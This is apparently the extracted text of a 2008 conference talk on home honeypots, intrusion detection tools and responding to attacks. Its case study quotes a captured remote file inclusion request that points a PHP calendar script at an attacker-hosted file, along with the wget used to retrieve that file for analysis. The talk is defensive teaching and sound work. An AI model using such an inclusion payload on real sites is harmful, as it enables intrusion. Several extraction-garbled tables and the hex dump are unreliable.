

Ghetto IDS and Honeypots for the home user






I'VE GOT A BUNCH OF VIRTUAL WINDOWS
MACHINES NETWORKED TOGETHER, HOOKED UP
TO AN INCOMING PIPE FROM THE NET. THEY
EXECUTE EMAIL ATTACHMENTS, SHARE FILES,
AND HAVE NO SECURITY PATCHES.

BETIJEEN
THEM THEY
HAVE PRACTICALLY
EVERY VIRUS.

THERE ARE MAILTROTANS, WARHOL WORMS, AND ALL SORTS OF EXOTIC POLYMORPHICS.
A MONITORING SYSTEM ADDS AND WIPES MACHINES AT RANDOM. THE DISPLAY SHOUS THE VIRUSES AS THEY MOVE THROUGH THE NETWORK,

GROWING AND STRUGGLING.



Comic courtesy http://www.xkcd.com

Black Ratchet - The Last HOPE - July 19th, 2008

• What are we going to talk about?

- What exactly happens on the end of your Internet connection
- Open Source tools to set up your own Honeypot and IDS setup and how to tie them together
- What you will likely see, what it means, and how to respond.


• • Who am I?

- Just another Phone Phreak from Boston
- Talked at HOPE #6, DEFCON, and other conferences
- Been using these tools in one form or another since 2002 or so...
- GCIA, so obviously these letters make me smarter then you
- Really nice guy who will talk your ear off about these things if alcoholic beverages are donated

Why are you using PowerPoint?

- Because OpenOffice sucks
- I don't feel like making you guys flying blind (again)

Your Internet Connection (Imagined)



Your Internet Connection (Reality)



• • Honeypots



What exactly is a honeypot?

- Used to convince an attacker a computer is a high-value, badly secured device, while in reality it is a device used to monitor the attackers actions and tactics.
- "An evening with Berferd" Cheswick et. al.

• • Interaction: High vs. Low

High Interaction

- Physical or Virtualized System
- Provides the attacker with a real computer
- Real computer = Real threats = More problems

Low Interaction

- Nepenthes or honeyd
- Provides an attacker with a "movie set" computer
- "Fake" computer = Less threats = Less problems

• • High Interaction Honeypots

- Real Computer
 - Physical or Virtual Computer with actual vulnerabilities
 - VMware, Xen, User Mode Linux, Beater Box
- Real Problems
 - Attackers can and will use your honeypot to attack other systems
 - Snort Inline will protect you somewhat, but you need to keep on top of it
- Lots of risk, but lots of reward


• • Low Interaction Honeypots

- "Fake" Computer
 - Spoofed device
 - Physical or virtual device that spoofs vulnerabilities
- Less of an attack profile
 - Not actually exposing a real computer, therefore less of a threat of being compromised
- Not as realistic as "high interaction" but will save you many a headaches.

• • High Interaction Honeypots



How High Interaction Honeypots Work...



• • Setup

- Operating System
 - Linux
 - Windows
- Hardware
 - Nowaday, most attackers don't know nor do they care
 - Bandwith an exception, sometimes

• • A word about virtualization

- Are you 100% sure that they won't break out?
- Are you 100% sure they won't notice?
- Are you willing to bet a server that contains information you consider "important"?


• • Stopping Attacks

- You need to be monitoring a highinteraction honeypot 24x7
 - Compromised? Attackers done? Pull the Plug.
 - Immediately!
 - No, really. NOW!

Snort Inline

- Snort based utility that uses iptable/ipfw to drop malicious packets.
- Not 100% effective.

• • Low Interaction Honeypots



• • Low Interaction Honeypots

Nepenthes

 Emulates fake vulnerabilities on a physical computer and collects exploits.

honeyd

 Emulates fake computers on your network in which you can script canned responses.


Honeytrap

 Dynamically creates a server on every port a client requests to connect to and captures data.


• • Nepenthes

- Sets up server on a physical computer
- Emulates vulnerabilities
 - Both Windows and Linux
- Automatically collects malware
 - Capable of automatically submitting them to a central collection point

How Nepenthes Works Act One



How Nepenthes Works Act Two



• • Nepenthes

Pros

- Can be used on any existing server
- Can catch a number of windows exploits


Cons

- Somewhat difficult to setup
- It's knowledge of exploits is limited
- Logging is a bear
- Since it's a program listening on a port, it can get compromised

• • Honeytrap

- Utility to automatically collect exploits
- Opens a "server" on any port a connection is made to
 - Both Windows and Linux!
- Can be installed on an existing machine
 - Homeless Man's Honeypot

How Honeytrap Works




• • Honeytrap

- Pros
 - Dead Simple
- Cons
 - Limited Interactivity

• • Honeyd

- Developed by Niels Provos
- Emulates hosts on a network that run programs or scripts specified in the config file.
- Takes up spare IPs
- Amazing amount of IP trickery.
- Emulate an entire network!

• • How honeyd works



• • honeyd "services"

- Can forward ports back to services hosted somewhere else.
 - Dangerous, these services can get owned
- Scripts
 - Script Kiddie Annoyance Toolkit
 - Scripts also available on the honeyd website
- Tarpits

• • Honeyd

Pros

- Quite lightweight
- Can emulate numerous computers, links, and devices
- These "ghosts" can run almost anything.
- Somewhat harder to compromise

Cons

- Requires a separate unused IP for each host
- Good for monitoring, but difficult to use against advanced attacks

• • Monitoring



• • Snort – 'Nuff Said

- Developed by Marty Roesch in 1998 as a "lightweight" IDS
- Gold Standard in OSS IDS systems
- Signature based

Monitoring Snort

- SGUIL
 - http://sguil.sourceforge.net/
- BASE (Basic Analysis and Security Engine)
 - http://base.secureideas.net/
- SnortSnarf
 - http://snort.org/dl/contrib/data_analysis/snortsnarf/

• • tcpdump

- The swiss army chainsaw of packet sniffing
- You can use it to monitor everything
 - Make sure your snaplen is right!
- Handy to piece together new attacks, or see stuff that snort missed
- pcap format allows you to use a lot of tools
 - ngrep, Wireshark, snort

WARNING!



By monitoring your network, you may record traffic that you don't want recorded. Be sure that tcpdump/snort/whatever else you are using **ONLY** picks up the traffic you want!


MonitoringHoneyd/Nepenthes

- No good tools
- honeyd files are very arcane
- Nepenthes files are just flat out bad


Monitoring Both – PreludeIDS

- NOT an IDS
 - More of a utility to correlate events and warnings
- Pretty web-based console
 - Prewikka, not required
- Good program, bad documentation
 - Really bad, I'm not kidding
- Open source, but not really

• • How Prelude Works



Prewikka



Response



• • Response

- You got attacked! Now what?
 - Do Nothing
 - Attack Back
 - Take down the server

• • Do Nothing

- Pros:
 - Easiest thing to do
 - Saves you time, effort, and inevitable frustration
- Cons:
 - Doesn't actually accomplish anything

• • • Attacking back



• • Attacking back

- Cons:
 - Can we say "illegal" boys and girls?
 - Are you really attacking the attacker?
 - What are you actually accomplishing?
- Pros:
 - THERE ARE NONE! YOU'RE PART OF THE PROBLEM!

• • Takedowns

- Pros:
 - Legal
 - Effective
 - Removes the immediate problem
- Cons:
 - Whack A Mole
 - A lot of effort, often with little tangible results

Case Study: Web Takedown



Gentlemen, BEHOLD!



"While I nodded, nearly napping, suddenly there came a tapping, As of some one gently rapping, rapping at my chamber door." – Edgar Allen Poe

• • Looking a bit closer...

Create time			Detect time		An	Analyzer time						
2008-07-1	2 03:06:18.8	35677 -04:00	2008-07-12 03:06	5:18.835015 -04:	00 20	08-07-12	03:06:18.835852 -04:00					
MessageID												
198353727	69662											
Text				Ident	Severity	Туре	Description					
WEB-MISC F	horecast rem	ote code execution	n attempt	1:1391	high	other	Web Application Attack					
Origin			Name		Meaning							
vendor-spec	ific		1:1391		Snort Sign	Snort Signature ID						
cve			2001-1049									
bugtraqid			3388									
	er #1											
Model	Name	Analyzerid		Version	Class	Manufa	acturer					

• • Looking a bit closer... (cont)

IP	Version	Header length		os	S Length		Id		D M F F	M Ip F offset		TTL	Protocol		Checksum				Source address			Target address	
	4 5		0		302	31	599		х	0		42	6		23	23222		1	158.197.42.2				
ТСР	Source port			eq #	≠ Ac		:k #			Header length		Res	served R			R (A F	5 5	γ		Window	Checksum	URF
	59272	80	28	3190	98563	37	000	159	96	8		0		П	Ī		x x		Г		1460	45922	0
TCP	Name				ode		Dat	Data length			h		Data										
ptions	No-Option			1	1			0															
	No-Option			1	1			0															
	Timestamp			8	8			8						TS Value (25785065 TS Echo Reply (4205									
Payload	Payload																						
	0000: 0010: 0020: 0030: 0040: 0050: 0060: 0070: 0080: 0090: 0060: 0060: 0060:	6f 72 6e 6d 31 0d 65 2d 20 67	73 : 63 . 70 2e . 0a 3a . 45 64 65 6b	73 26 60 21 21 21 21 41 20 66 65 65 66	70 75 31 0d 63 65 63	73 68 64 2e 0a 63 6e 6f 6c 3a 67	65 70 65 67 41 65 2d 64 61 20 20	6e 3f 64 69 63 70 75 69 74 4d 53	64 66 69 66 63 74 73 66 65 65	5f 6f 72 3f 65 2d 0d 67 0d 72 61	72 53 3d 2f 70 4c 0a 3a 0a 66	65 65 68 20 74 61 41 20 55 65 66	6d 74 74 48 3a 6e 63 67 73	69 3d 74 54 20 67 63 7a 65 73	5 2 7 6 6 7 2	e 0 0 4 a 5 5 9 2 0	64 26 3a 50 2f 61 70 70 2d 46	65 69 2f 2a 67 74 2c 41 75	;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;		ols/s rs.ph nclud / mp/1.1Acc e: en -Encc defl gent: cking ost:	calendar end_remi p?noSet= ledir=htt gif?/ H7 Accept: ept-Lang -us. Acc ding: gz ate. Use Morfeus Scanner Connecties	nde :0&: :P:// */! */! */! */! */! */! */! */! */! *
ASCII Payload	Accept: Accept- Accept-	lendar/to */* Language Encoding ent: Mor	e en-	us o, def	late			noS	et=0	&incl	uded	ir=ht	tp://					/tm	p/1	.gif	?/ НТТР	//1.1	

• • Another Word of Warning...



• • Let's grab it...

```
:~$ torify wget http://______/tmp/1.gif
--2008-07-14 09:43:54-- http://_____/tmp/1.gif
Connecting to _____:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 38 [image/gif]
Saving to: `1.gif'

100%[=============]] 38 104B/s in 0.4s

2008-07-14 09:44:09 (104 B/s) - `1.gif' saved [38/38]
```

You've been living in a dream world, Neo...

```
GNU nano 2.0.7

Sile: 1.gif

Minimum echo ("Morfeus hacked you");

Prince 1.gif

File: 1.gif
```

• • What goodies do we have?



What's behind door #1?



• • Dropping the Hammer

To whom it may concern:

Mayhemic Labs, an independent security research group, has found tools being used to attack systems stored on a website you host. You are receiving this message because you are listed in the contact section of your netblock's WHOIS information.

The URLs are as follows:

These tools are PHP files, despite the .gif extension. The website you host seems to have been compromised by a third party and is using it to probe systems

If you are responsible for the security of the IP currently hosting the URL above, please take action to close it down as soon as possible, as this will break the attack.

YOUR PROMPT ATTENTION IS VITAL IN ORDER TO LIMIT NUMBER OF POSSIBLE VICTIMS.

• • A bit later...



"Quoth the Server, '404' " – Edgar Allen Poe... Sort Of...

• • Where to go from here

- Embedded system for friend/relative's unused broadband systems?
- Centralized IDMEF correlation site in order to precipitate takedowns?
- Real time intelligence gathering system to know what is probing what?

• • Links

- honeyd
 - http://www.honeyd.org/
- Nepenthes
 - http://nepenthes.mwcollect.org/
- Honeytrap
 - http://honeytrap.mwcollect.org/
- Prelude
 - http://www.prelude-ids.com/
- SKAT
 - http://www.mayhemiclabs.com/

• • Shouts

- StankDawg, ntheory, and the rest of the DDP
- binrev.com forums
- Boston 2600
- Quine, Beaker, and everyone else from BeanSec

• • Questions?



• • Contact Information

- e-Mail –blackratchet@blackratchet.org
- WWW http://www.blackratchet.org
- Twitter @innismir